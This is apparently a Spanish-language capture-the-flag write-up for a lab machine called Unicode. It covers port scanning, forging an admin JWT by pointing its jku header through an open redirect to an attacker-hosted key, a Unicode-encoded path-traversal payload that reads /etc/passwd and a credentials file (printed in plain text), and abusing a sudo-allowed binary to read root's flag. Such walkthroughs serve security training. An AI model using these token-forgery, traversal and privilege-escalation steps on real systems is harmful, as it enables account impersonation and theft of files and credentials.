Inicio Unicode Writeup
Entrada
Cancelar
Banner Unicode

Unicode Writeup

Máquina Medium, crearemos un token malicioso en una web para hacernos pasar por un administrador, en el panel de administrador encontraremos un LFI, consiguiendo listar un archivo con credenciales, por último, vemos que podemos ejecutar un binario como root, lo ejecutamos y conseguimos leer la flag de root.

Recopilación de Información

Primero vamos a comprobar la conectividad con la máquina.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.126
PING 10.10.11.126 (10.10.11.126) 56(84) bytes of data.
64 bytes from 10.10.11.126: icmp_seq=1 ttl=63 time=34.9 ms

--- 10.10.11.126 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 34.921/34.921/34.921/0.000 ms

En la salida del comando anterior se puede ver un parámetro llamado ttl, gracias a este parámetro podemos saber que sistema operativo está corriendo en la máquina víctima.

  • GNU/Linux = TTL 64
  • Windows = TTL 128

En este caso, el sistema operativo que está corriendo en la máquina víctima es GNU/Linux.

Vamos a usar la herramienta nmap para descubrir que puertos están abiertos y que servicios estan asociados a estos.

1
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.126 -oG allPorts
  • -p- > Escanea todos los puertos (65535)
  • –open > Muestra solo los puertos con un estatus “open”
  • -sS > Aplica un TCP SYN Scan
  • –min-rate 5000 > Indica que quiero emitir paquetes no más lentos que 5000 paquetes por segundo
  • -vvv > Muestra la información en pantalla a medida que se descubre
  • -n > Indica que no aplique resolución DNS
  • -Pn > Indica que no aplique el protocolo ARP
  • 10.10.10.11.126 > Dirección IP que se quiere escanear
  • -oG allPorts > Exporta el output a un fichero grepeable con nombre “allPorts”

Este sería el output del comando

1
2
3
4
5
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 23:44 CEST
Scanning 10.10.11.126 [65535 ports]
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Ahora vamos a realizar un escaneo más profundo, también con nmap pero esta vez solamente lanzaremos scripts básicos de enumeración y analizaremos la versión de los puertos abiertos obtenidos anteriormente.

1
❯ nmap -p22,80 -sC -sV 10.10.11.126 -oN targeted
  • -p22,80 > Indica los puertos que se quieren escanear, en este caso el 22 y 80
  • -sC > Lanza scripts básicos de enumeración
  • -sV > Enumera la versión y servicio que está corriendo en los puertos
  • 10.10.10.126 > Dirección IP que se quiere escanear
  • -oN targeted > Exporta el output a un fichero en formato nmap con nombre “targeted”

Este sería el output del comando:

1
2
3
4
5
6
7
8
9
10
11
12
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 23:47 CEST
Nmap scan report for 10.10.11.126
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
|   256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_  256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: 503
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0 (Ubuntu)

Los puertos abiertos y sus servicios asocidados son:

  • 22/tcp > ssh
  • 80/tcp > http

Empezaremos enumerando el puerto 80, primero podemos hacer un reconocimiento web con dirsearch, utilizaremos fuerza bruta para enumerar recursos.

1
disearch -u http://10.10.11.126 -x 503
  • -u http://10.10.11.126 > Indica la url
  • -x 503 > Oculta las peticiones con un código de estado

Los recursos que hemos hallado son los siguientes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Target: http://10.10.11.126/

[00:34:38] Starting: 
[00:34:53] 308 -  264B  - /checkout  ->  http://10.10.11.126/checkout/
[00:34:55] 308 -  266B  - /dashboard  ->  http://10.10.11.126/dashboard/
[00:34:55] 308 -  258B  - /debug  ->  http://10.10.11.126/debug/
[00:34:55] 502 -  568B  - /debug/
[00:34:56] 308 -  258B  - /error  ->  http://10.10.11.126/error/
[00:34:59] 308 -  264B  - /internal  ->  http://10.10.11.126/internal/
[00:35:01] 200 -  84KB  - /login/
[00:35:07] 308 -  264B  - /redirect  ->  http://10.10.11.126/redirect/
[00:35:09] 404 -  564B  - /static/api/swagger.yaml
[00:35:09] 404 -  564B  - /static/api/swagger.json
[00:35:09] 404 -  564B  - /static/dump.sql
[00:35:12] 308 -  260B  - /upload  ->  http://10.10.11.126/upload/

No tenemos nada demasiado interesante de momento, sigamos mirando que nos puede ofrecer la página. Si investigamos más a fondo podemos ver que estamos arrastrando una cookie.

Si observamos el código fuente de la página podemos encontrarnos con lo siguiente /redirect/?url=google.com esto nos puede servir para más adelante.

Busqueda de vulnerabilidades

Vamos a analizar la cookie que estamos arrastrando, parece que es un JWT (JSON Web Token), estos tokens estan divididos en 3 partes:

  • Header > usualmente consiste en dos partes, la primera parte (typ), indica el tipo de token y la segunda (alg) indica el algoritmo que ha sido utilizado.
  • Payload > contiene parámetros del token, existen tres tipos de parámtros, registered, public y private.
  • Signature > se utiliza para verificar que el emisor del JWT es quien dice ser y para garantizar que el mensaje no hay sido modificado, esta parte es creada firmando con el algoritmo especificado el header, el payload y una llave.

Token JWT Partes Token JWT

Los tokens JWT podemos descifrarlos utilizando la siguiente web.

Token JWT JWT Descifrado

En la parte de los headers vemos un parámetro llamado jku, este parámetro es una URI que apunta a un recurso con claves públicas codificadas en JSON, una de estas claves se corresponde con la utilizada para crear la parte signature del Token JWT.

Intentemos acceder a la url que contiene la clave que verifica los tokens, para ellos tendremos que añadir el dominio hackmedia.htb al fichero /etc/hosts.

1
2
3
4
5
6
7
8
9
10
11
12
{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
            "e": "AQAB"
        }
    ]
}

Puesto que la clave que se utiliza para verificar el token se extrae del certificado ubicado en la URI (jku), podríamos intentar generar un nuevo token malicioso que tenga como URI una clave alojada en nuestro servidor para así hacernos pasar por otro usuario.

Explotación

Primeramente crearemos las claves con las que verificaremos y crearemos el token.

1
2
3
❯ openssl genrsa -out keypair.pem 2048
❯ openssl rsa -in keypair.pem -pubout -out publickey.crt
❯ openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
  • publickey.crt > clave pública
  • pkcs8.key > clave privada

Ya teniendo la clave pública y privada podremos crear un token malicioso. Utilizaremos el siguiente script para generarlo, este script manipula la URI del parámetro jku asignandole una URL con la pueda llegar a conectarse a nuestro servidor ayudandose de la ruta que encontramos al principio, asigna el valor admin al parámetro user y, finalmente firma el token con el par de claves.

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/python3

from email import header
from jwcrypto import jwk, jwt

with open("keypair.pem", "rb") as pemfile:
    key = jwk.JWK.from_pem(pemfile.read())

Token = jwt.JWT(header={"alg": "RS256","jku": "http://hackmedia.htb/static/../redirect?url=10.10.14.242:8080/jwks.json"},claims={"user":"admin"})
Token.make_signed_token(key)
print(Token.serialize())

Este sería nuestro token malicioso:

1
eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdD91cmw9MTAuMTAuMTQuMjQyOjgwODAvandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.qRR4zH6-LJJuOmxVUIyuEzsW4ijqm1VnmUhDSZRVLSIOKFpC8Om5HssQGdLma3d-Zkw8gkISGy0mQ7J8hG9ODH1kinPnIL9u5BL4pyztmMUUqHXqIQ11EVmxH2gwL4laHKg86t_VZ3TwoIp7ruDbZ_Aaqu1ESPN0LpBevqKu54BgnFgogSqt8ruzzlU5IuQrje3zPf7g1QSr7sgARwIL5qRf19atR_lz-l-V411HZ5ItCRlsyr__r2QO3DtD03OuF2Wk8MJH4F1LjxEwB-M0v6W6JQf-bxx9AAoA401FBoP7_wES1T-SFjruU2gF8mHGdgk-5lWVnvS5R4zrwS8I8Q

Ahora generaremos el archivo que validará el token y que será apuntado por el parámetro jku de nuestro token malicioso. Para ello primero nos traeremos el que trae la máquina víctima.

1
❯ wget http://hackmedia.htb/static/jwks.json

Este fichero será al que apuntemos con el parametro jku para que nos valide el token, primero necesitaremos sustituir los parametros n y e de nuestra clave pública por los de el fichero jwks.json, para conseguir n y e de la clave pública utilizaremos el siguiente script:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

import jwkest
from Crypto.PublicKey import RSA

fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()


print("n:", jwkest.long_to_base64(key.n))
print("e:", jwkest.long_to_base64(key.e))
  • n: qV5Smp4lxwvgY8POIWXWpAsDDBatymCkAIxBS4sgsuk49Lb29zNiLififZz4v6z9VOywTxJBHi6a0t06QyeyfPg0roa8t-JqlDuWjAjF6F80nB4yBh-u6u8ggTRSR-cpLrr3d0QbNHTOQB2zrpCXuUW3uY-BUNk2QyPPCjzyZdO1RGZBEXtTo6CTZecEqFd0Li0cK9NywPzSqUuzzHe9pzmDMQONUezkcxTtN9tbcOiHMrsUTpwxzNeyGu9Mtt3gI2Hle6gYNFWdxsY7S642KYgRAu6OVi5nwwi46n2J41n7fnskk6Hzpr2o-jg93zMZfit1JV2rRLG__p-k1EldaQ
  • e: AQAB

Cuando ya hayamos sustituido los parámetros n y e en el archivo jwks.json y tengamos preparado el token malicioso nos levantaremos un servidor web para que cuando se vaya a validar el token pueda apuntar al archivo que tenemos en local.

1
❯ python -m http.server 8080

Editamos la cookie con el token JWT malicioso y recargamos la página.

Dashboard Panel de Administración

Analizando el panel de adminitración podemos ver algunas cosas interesantes como la url del apartado Current month y Last quarter. A simple vista se hace parecido a un LFI (Local File Inclusion), sin embargo, no conseguimos acceder a ningun archivo, tendremos que tirar de algún bypass para poder listar archivos. Buscando encontré la siguiente página.

Entre todos los bypass que he visto solo he encontrado uno que me haya servido, es el siguiente:

1
http://hackmedia.htb/display/?page=%E2%80%A4%E2%80%A4%EF%BC%8F%E2%80%A4%E2%80%A4%EF%BC%8F%E2%80%A4%E2%80%A4%EF%BC%8F%E2%80%A4%E2%80%A4%EF%BC%8Fetc%EF%BC%8Fpasswd

Ya tenemos una forma potencial de enumerar archivos, como se esta utilizando nginx como servidor web podríamos empezar a enumerar los archivos de configuración del servidor. Empezaremos con el fichero /etc/nginx/nginx.conf.

El fichero llama a otros recursos, empezaremos a enumerar lo que hay dentro de estas carpetas. Encontramos un fichero muy interesante ubicado en /etc/nginx/sites-enabled/default, este fichero nos indica la existencia de un fichero con credenciales, las credenciales son guardadas en el fichero /home/code/coder/db.yaml. Accedemos al archivo y veremos las credenciales.

1
2
3
4
mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"

Estas credenciales nos servirán para conectarnos por ssh.

Post-explotación

Ya podemos leer la flag del usuario

1
2
❯ cat user.txt
bb562deb8b7b476e****************

Vamos a ver si podemos interactuar con algun ejecutable sin proporcionar contraseñas.

1
2
3
4
5
6
❯ sudo -l
Matching Defaults entries for code on code:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:
    (root) NOPASSWD: /usr/bin/treport

Vemos que podemos interactuar con el ejectuble treport como el usuario root sin proporcionar contraseña.

Al ejecurtarlo nos da 3 opciones, crear un reporte, leer un reporte o descargar un reporte. En este punto lo que podriamos hacer es descargarnos como un reporte la flag de root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ sudo treport 
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
❯ Enter your choice:3
❯ Enter the IP/file_name:File:///root/root.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    33  100    33    0     0  16500      0 --:--:-- --:--:-- --:--:-- 16500
❯ Enter your choice:2
ALL THE THREAT REPORTS:
threat_report_08_59_01
❯ Enter the filename:threat_report_08_59_01
25bebc130f32b387****************
Esta entrada está licenciada bajo CC BY 4.0 por el autor.